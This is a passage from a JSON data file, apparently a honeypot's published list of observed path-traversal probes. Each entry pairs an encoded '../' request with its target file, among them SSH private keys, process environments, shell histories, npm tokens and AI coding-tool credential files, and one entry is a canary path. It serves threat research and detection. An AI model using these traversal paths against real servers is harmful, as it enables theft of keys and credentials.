,"role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":91,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.ssh%2Fid_rsa","path":"/../../../../../../home/node/.ssh/id_rsa","family":"ssh","root":"/home/node","file":".ssh/id_rsa","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":92,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.claude%2F.credentials.json","path":"/../../../../../../proc/self/cwd/.claude/.credentials.json","family":"claude","root":"/proc/self/cwd","file":".claude/.credentials.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":93,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.zsh_history","path":"/../../../../../../home/n8n/.zsh_history","family":"shell","root":"/home/n8n","file":".zsh_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":94,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","path":"/../../../../../../proc/self/environ","family":"proc","root":"/proc/self","file":"environ","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":95,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.local%2Fshare%2Fopencode%2Fauth.json","path":"/../../../../../../root/.local/share/opencode/auth.json","family":"opencode","root":"/root","file":".local/share/opencode/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":96,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.bashrc","path":"/../../../../../../home/node/.bashrc","family":"shell","root":"/home/node","file":".bashrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":97,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.grok%2Fauth.json","path":"/../../../../../../root/.grok/auth.json","family":"grok","root":"/root","file":".grok/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":98,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.kimi-code%2Fconfig.toml","path":"/../../../../../../root/.kimi-code/config.toml","family":"kimi-code","root":"/root","file":".kimi-code/config.toml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":99,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.zsh_history","path":"/../../../../../../home/node/.zsh_history","family":"shell","root":"/home/node","file":".zsh_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":100,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.claude.json","path":"/../../../../../../home/node/.claude.json","family":"claude","root":"/home/node","file":".claude.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":101,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.zshrc","path":"/../../../../../../home/n8n/.zshrc","family":"shell","root":"/home/n8n","file":".zshrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":102,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.npmrc","path":"/../../../../../../home/node/.npmrc","family":"npm","root":"/home/node","file":".npmrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":103,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.unauth%2Floot-list-v1.canary","path":"/../../../../../../root/.unauth/loot-list-v1.canary","family":"publication-canary","root":"/root","file":".unauth/loot-list-v1.canary","role":"publication-canary","note":"Not in the 10 August session. If you use this as a wordlist, skip role=publication-canary. If that path hits our decoy, someone reused the list.","theater_now":"lfi-v2"}],"sha256":"0e21f8374e9e166f8ba2e7f0f630de44c26ccdfb901adb31db04ee54514fe7fe"}